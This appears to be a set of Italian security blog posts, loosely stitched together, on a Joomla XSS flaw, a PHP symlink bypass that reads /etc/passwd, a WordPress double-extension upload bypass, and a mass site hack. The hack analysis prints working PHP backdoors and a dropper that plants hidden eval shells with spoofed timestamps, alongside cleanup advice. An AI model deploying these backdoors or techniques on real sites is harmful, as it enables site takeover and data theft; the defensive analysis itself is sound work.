Ciao a tutti, dopo diverso tempo dall’ultimo post pubblico una vulnerabilità che potrà creare non pochi problemi agli utilizzatori del noto Cms Joomla.

E’ stata pubblicata da poco una vulnerabilità di tipo XSS per tutte le versioni < =1.5.20, ossia tutte le versioni attualmente pubblicate.

Tale exploit sfrutta una falla nella verifica delle variabili GET encodate eseguendo quindi il codice Javascript che si passa all’applicativo.

Full Discolsure Advisories

Al seguente video si potrà vedere un Proof of Concept dell’attacco Xss.

Proof of Concept by yehg.net

Un malintenzionato potrebbe sfruttare tale falla per rubare i cookie degli utenti loggati, Administrator compreso, e sfruttarli per modificare pagine o uploadare shell malevole che permetterebbero qualsiasi operazione nello spazio del sito vittima. Una volta rubati i cookie di Admin, infatti, basterà andare nella pagina di edit di uno dei template di default, di solito ‘beez’, e successivamente editare la pagina con il codice di una shell php quali c99 o r57.

Provvedero’ ad aggiornare il post quanto prima con tutti i riferimenti e i dettagli (sono in treno con l’app WordPress per Blackberry ).

AGGIORNAMENTO #1
Lo staff di Joomla ha provveduto a rilasciare la nuova versione dove tale problema e’ stato fixato.

Chiunque utilizzi questo Cms e’ invitato ad effettuare l’upgrade alla versione 1.5.21

Joomla 1.5.21 – Official Site

Joomla Security News

Di fatto questa vulnerabilità da la possibilità di leggere aree/file del WebServer non autorizzate quali il file “/etc/passwd” e similari.

L’applicazione pratica e più semplice di tale vulnerabilità è il seguente codice:

< ?php
 symlink("/etc/passwd", "prova.txt");
 ?>

Se il “safe_mode” del Php era disabilitato nel proprio spazio sarebbe stato creato un link simbolico dal nome “prova.txt” che puntava al contenuto di “/etc/passwd”. In questo modo richiamando dal browser il link simbolico nel seguente modo:

http://<dominio>/prova.txt

avremmo visualizzato a video il contenuto del file “/etc/passwd”. A seconda dell’Hosting questo file può contenere anche le password dell’account web del Cliente e pertanto la gravità della vulnerabilità è elevata.

Nel caso, invece, il safe_mode del Php fosse stato attivo sarebbe stato visualizzato un messaggio di errore che indicava l’impossibilità di eseguire l’operazione a causa della mancanza dei permessi di accesso al file “/etc/passwd”.

Ho provato ad applicare questa tecnica su diversi Hosting dove ho sitarelli o spazi per fare dei test e in base ad alcune configurazioni di sicurezza (privilegi, followsymlink,etc.) si poteva o meno accedere a dati sensibili come, per esempio, visualizzare i file di configurazione di altri domini presenti sullo stesso server dove siamo noi.

Questa vulnerabilità del Php ha fatto nascere alcune discussioni legate ai vari attacchi di massa che si sono verificati lo scorso anno su vari Hosting condivisi noti e meno noti. Dal mio punto di vista è plausibile pensare, quindi, che questa falla abbia dato la possibilità di accedere e violare centinaia di spazi Web rubando informazioni preziose per eventuali ulteriori attacchi.

Link correlati:

Exploit

PHP 5.2.12/5.3.1 symlink() open_basedir bypass – SecurityReason.com

Symlink Attack – HTML.it

La notizia non era molto dettagliata poiché la vulnerabilità era stata annunciata molto genericamente come una vulnerabilità che permetteva di “aggirare le limitazioni ai nomi dei file in determinate configurazioni Apache”. Ora che è stata patchata, come spesso accade, iniziano a trovarsi maggiori informazioni e Proof of Concept.

In realtà la vulnerabilità permette di uploadare file bypassando il controllo della tipologia di file e permettendo, quindi, di uploadare script php e similari che possono poi essere richiamati da colui che attacca. Affligge tutte le versioni inferiori alla 2.8.5 (compresa) perciò provvedete quanto prima ad aggiornare il vostro blog.

La notizia era stata pubblicata l’11 Novembre scorso nella nota Mailing List Full Disclosure dove Dawid Golunski ha pubblicato un Proof Of Concept che potete leggere a questo link. Praticamente spiega che la verifica del file uploadato avviene confrontando l’estensione del file, estrapolata tramite una Regular Expression, con un array dei Mime Type permessi.

La Regular Expression, però, unita al fatto che i WebServer Apache (solamente in una particolare configurazione spiegata qui) consentono di creare file nel formato

filename.ext1.ext2

può essere bypassata uploadando un file contenente codice Php e assegnandogli un nome come il seguente:

phpinfo.php.jpg

In questo modo la verifica del file applicata da WordPress estrapolerebbe tramite la RegEx l’estensione “.jpg” e successivamente, verificandola con l’Array dei Mime Types ammessi, permetterebbe al file di essere uploadato scambiandolo per un’immagine.

Una volta fatto ciò chi attacca potrà richiamare lo script digitando la path standard dei file uploadati di WordPress ossia:

http:///wp-content/uploads/2009//phpinfo.php.jpg

Questa vulnerabilità, sebbene grave, non dovrebbe causare gravi danni visto che chi attaca deve essere un membro dello staff con privilegi di pubblicazione come era stato annunciato in occasione della 2.8.6.

Resta invece ancora sconosciuta la vulnerabilità di Cross Site Scripting scoperta da Benjamin Flesch sempre nella versione 2.8.5 di WordPress.

Eccovi alcuni link correlati:

Proof Of Concepts – WordPress <= 2.8.5 Unrestricted File Upload Arbitrary PHP Code Execution by Dawid Golunski

Vupen – WordPress Arbitrary File Upload and Cross Site Scripting Vulnerabilities

SecurityFocus – WordPress Unspecified Cross Site Scripting Vulnerability

Il 9 febbraio scorso nel post titolato “18446744073709551615 – Un nuovo hack in arrivo?” avevo descritto un hacking che stava avvenendo in centinaia di siti di hosting italiani e stranieri che non aveva un apparente denominatore comune.

Infatti all’epoca non si spiegava se venivano sfruttate vulnerabilità dell’applicativo in uso sul proprio dominio (in Rete in questi ultimi giorni c’è un gran parlare sulla possibilità che sia WordPress la causa) o se si trattasse di uno stealing di account ma alla luce di quanto analizzato a febbraio e quanto analizzato in questi giorni vi sono in rete diverse “testimonianze” di siti hackerati che con molta probabilità non hanno vulnerabilità in quanto basati su semplici pagine html statiche.

Alcune “vittime” mi han contattato privatamente e mi hanno fornito informazioni per poter delineare meglio questo hack.

Ricordo a chi legge questo Blog per la prima volta che nel post precedente chiamato volutamente “Un nuovo hack in arrivo?” segnalavo come le azioni di febbraio apparivano più come un “giro di test” che come un’azione a fini malevoli quale è, invece, in questi giorni. A febbraio numerosi siti subirono un hack atipico poiché i siti vittima non venivano alterati o infettati da virus/trojan ma, semplicemente, mostravano il numero “18446744073709551615” a pié di pagina e nel codice si poteva individuare la dichiarazione di una funzione dal nome “ob_start(“security_update”)“. Questo, dal mio punto di vista, poteva essere interpretato come un marcatore tramite il quale chi attacca può farsi un’idea di quanti potenziali vittime potrebbe colpire.

I plugins di cui parlerò sono i seguenti:

• Web Developer Bar
• Xss Me
• Sql Inject Me
• HackBar
• Tamper Data

Questi 5 plugin torneranno molto utili quando proveremo ad effettuare le nostre prime analisi di sicurezza in quanto permettono di analizzare diversi aspetti di un sito web. Va detto che non sono programmi  “per bucare” ma semplicemente dei test i cui risultati, se si hanno le giuste conoscenze, possono aiutare ad individuare falle o vulnerabilità in un dato sito.

Ricercando in rete utilizzando questo numero come chiave di ricerca si troveranno numerosi articoli/post che affermano che si tratta del massimo numero utilizzabile all’interno di un campo BIGINT in Php. Questo porterà l’ignaro utente ad impazzire alla ricerca della funzione all’interno del proprio sito che esegue calcoli che portano alla comparsa di questo numero. Tutto ciò sarà inutile!

In realtà questo numero viene visualizzato poiché le pagine “index.php” del proprio sito sono state hackerate inserendo al loro interno la seguente funzione che non altera il comportamento della pagina ma visualizza a pié di pagina il numero in oggetto.

La pagina modificata apparirà con il seguente codice:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20

< ?php
ob_start("security_update"); //do not remove this line - important security update!
 
<--- CODICE ORIGINALE DELLA PAGINA --->
 
?>
                < ?php
                function security_update($buffer)
                {
                        $update = '18446744073709551615';
                        if (stristr($buffer, '</html') !== FALSE)
                        {
                                return eregi_replace('</html', $update.'<html', $buffer);
                        }
                        else
                        {
                                return $buffer.$update;
                        }
                }
                ?>

Come potete vedere analizzando il codice la funzione “security_update” non fa altro che inserire tutto l’output originale della propria pagina in un buffer e successivamente accodare al buffer il valore “18446744073709551615“.

La domanda che sorge è: perché?

Sebbene stia tenendo d’occhio l’evolversi di questo hack non si è ancora individuato il motivo di tale azione. L’ipotesi che al momento appare essere la più veritiera è che venga utilizzato questo codice come “marcatore” dei siti “infetti” così da poterli facilmente trovare in una eventuale ricerca in rete.

In questo modo chi sta effettuando tali hack potrà individuare le proprie vittime e i siti per i quali conosce la falla di sicurezza che ha consentito di scrivere, per ora, il numero “18446744073709551615“.

Vedendo l’andamento delle ultime settimane ho assistito ad un’evoluzione dello script in quanto è stata aggiunta una nuova riga che potrebbe essere realmente dannosa per le vittime. Questo il codice nella sua nuova versione:

1
2
3

< ?php
ob_start("security_update"); //do not remove this line - important security update!
 if(md5($_COOKIE['73043475c0893e30'])=="59fdd20854f4a2056c082cab53e64860"){ eval(base64_decode($_POST['file'])); exit; } ?>< ?php

Questo script ha in più un check su un cookie che, se verificato ($_COOKIE['73043475c0893e30'])==”59fdd20854f4a2056c082cab53e64860″), esegue una decodifica di un file criptato inviato via POST.

In questo modo l’hacker ha la possibilità di inviare file a tutti i domini che precedentemente aveva infettato e “marcato”.

Per ora non ho assistito ad azioni concrete che hanno sfruttato questa funzione “security_update()” ma, ovviamente, è naturale pensare che lo script e le sue evoluzioni siano vari step di un’azione mirata a raccogliere centinaia di siti infetti per effettuare in seguito un attacco di massa.

Come eliminarlo?

Per eliminarlo basta individuare tutte le pagine che mostrano il numero “18446744073709551615” e ripulirle dal codice di questo hack mostrato in precedenza.

Anche in questo caso il programma “PoweGrep” ci torna comodo permettendoci di effettuare una ricerca della stringa “18446744073709551615” su tutti i file del proprio sito (in locale).

Una volta individuate la pagine vanno rimosse queste righe dalla parte superiore della pagina:

1
2
3

< ?php
ob_start("security_update"); //do not remove this line - important security update!
if(md5($_COOKIE['73043475c0893e30'])=="59fdd20854f4a2056c082cab53e64860"){ eval(base64_decode($_POST['file'])); exit; } ?>

(la riga 3 non è presente in tutte le versioni)

e queste rige dalla fine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14

                < ?php
                function security_update($buffer)
                {
                        $update = '18446744073709551615';
                        if (stristr($buffer, '</html') !== FALSE)
                        {
                                return eregi_replace('</html', $update.'<html', $buffer);
                        }
                        else
                        {
                                return $buffer.$update;
                        }
                }
                ?>

Possibilità di infezione

Non ho determinato, per ora, se l'infezione avviene tramite una vulnerabilità del proprio applicativo web o se invece avviene via Ftp sfruttando le credenziali del proprio Client Ftp.

In ambo i casi i consigli sono sempre gli stessi e fanno sempre bene:

1) Verificare presso siti di sicurezza come Secunia o SecurityFocus o Milw0rm eventuali nuove vulnerabilità dei propri applicativi/script/cms.

2) Eseguire periodicamente scansioni complete dei propri PC con software AntiMalware,AntiSpyware, etc. In particolare consiglio l'utilizzo di Malwarebytes' Anti-Malware che include tutte queste protezioni in un unica soluzione

Chiunque abbia informazioni al riguardo e volesse condividerle mi scriva all'indirizzo capn3m0@capn3m0.org

AGGIORNAMENTO DELL'8/11/2009: [HACK] – Cannot redeclare security_update(), alla fine è arrivato!

Per chi volesse leggerlo ecco il link: http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/

In questo articolo vi informo che ho individuato la prima chiamata che viene fatta al sito vittima tramite una vulnerabilità di Remote File Inclusione (RFI).

Chi attacca fa interpretare al sito questo codice Php che una volta elaborato dalla vittima crea dei file chiamati “nomegofer.php” in varie aree del sito cosicché chi esegue tale azione può richiamarli quando vuole per fare in modo che il sito venga nuovamente infettato. Questo il codice:

< ?php
error_reporting(1);
global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8,7,6,6,5,5,5,5,0);
function my_fwrite($f,$data) {
    global $CURFILE;
    $file_mtime = @filemtime($f);
    $file_atime = @fileatime($f);
    $dir_mtime = @filemtime(@dirname($f));
    $dir_atime = @fileatime(@dirname($f));
    if ($file_h = @fopen($f,"wb")){
        @fwrite($file_h,$data);
        @fclose($file_h);
        if ($file_mtime){
            @touch($f,$file_mtime,$file_atime);
        }elseif(@filemtime($CURFILE)){
            @chmod($f,@fileperms($CURFILE));
            @touch($f,@filemtime($CURFILE),
            @fileatime($CURFILE));
            @chgrp($f,@filegroup($CURFILE));
            @chown($f,@fileowner($CURFILE));
        };
        if ($dir_mtime)
            @touch(@dirname($f),$dir_mtime,$dir_atime);
        return $f;
    }else{
        return '';
    };
};
function ext($f){
    return substr($f, strrpos($f, ".") + 1);
};
function walkdir($p,$func='_walkdir',$l=0){
    global $START;
    global $WD_TIMEOUT;
    global $FL;
    $func_f = "{$func}_f";
    $func_d = "{$func}_d";
    $func_s = "{$func}_s";
    $func_e = "{$func}_e";
    if ($dh = @opendir("$p")){
        if (function_exists($func_s)) {
            if ($func_s($p,$l)) return 1;
        };
        while ($f = @readdir($dh)){
            if (time() - $START >= $WD_TIMEOUT[$l] )
                break;
            if ($f == '.' || $f == '..' )
                continue;
            if (@is_dir ("$p$f/") )
                walkdir("$p$f/",$func,$l+1);
            if (@is_dir ("$p$f/") && function_exists($func_d))
                $func_d("$p$f/",$l);
            if (@is_file("$p$f" ) && function_exists($func_f))
                $func_f("$p$f" ,$l);
        };
        closedir($dh);
        if (function_exists($func_e))
            $func_e($p,$l);
    };
};
function r_cut($p){
    global $R;
    return substr($p,strlen($R));
};
function say($t) {
    echo "$t\n";
};
function testdata($t) {
    say(md5("testdata_$t"));
};
$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'].$HTTP_SERVER_VARS['SCRIPT_NAME'];
echo "<pre>";
testdata('start');
$fe = ext($CURFILE);
if (!$fe)
    $fe = 'php';
$FN = "namogofer.$fe";
function _walkdir_s($d,$l) {
    global $FCNT;
    $FCNT = array('fn' => '','dir' => 0,'file' => 0,'simtype' => 0);
};
function _walkdir_d($d,$l) {
    global $FCNT; $FCNT['dir' ]++;
};
function _walkdir_f($f,$l) {
    global $FCNT;
    $FCNT['file']++;
    if (ext($f) == ext($CURFILE))
        $FCNT['simtype']++;
};
function _walkdir_e($d,$l) {
    global $C,$FCNT,$FN;
    if ($C[$l]<7){
        if (my_fwrite("$d$FN",str_repeat("\n",100).str_repeat(' ',150).base64_decode('+').str_repeat(' ',150)."\n".str_repeat("\n",100))){
            $C[$l]++;
            $FCNT['fn'] = r_cut("$d$FN");
            say(implode("\t",$FCNT));
        };
    };
}; 
 
walkdir("$R/");
testdata('end');
echo "</pre>";
 ?>

la porzione encodata alla riga 97 una volta decodificata appare così:

< ?php
error_reporting(1);
global $HTTP_SERVER_VARS;
function say($t) {
    echo "$t\n";
};
function testdata($t) {
    say(md5("testdata_$t"));
};
echo "<pre>";
testdata('start');
if (md5($_POST["p"])=="aace99428c50dbe965acc93f3f275cd3"){
    if ($code = @fread(@fopen($HTTP_POST_FILES["f"]["tmp_name"],"rb"),$HTTP_POST_FILES["f"]["size"])){
        eval($code);
    }else{
        testdata('f');
    };
}else{
    testdata('pass');
};
testdata('end');
echo "</pre>";
?>

Per proteggervi da tale hacking vi invito ad utilizzare script di Sicurezza quali PHPIDS di cui potete trovare una recensione a questo link.

Per pulire i vostri file in seguito ad un eventuale attacco fate riferimento alla procedura indicata nella prima parte di questo articolo.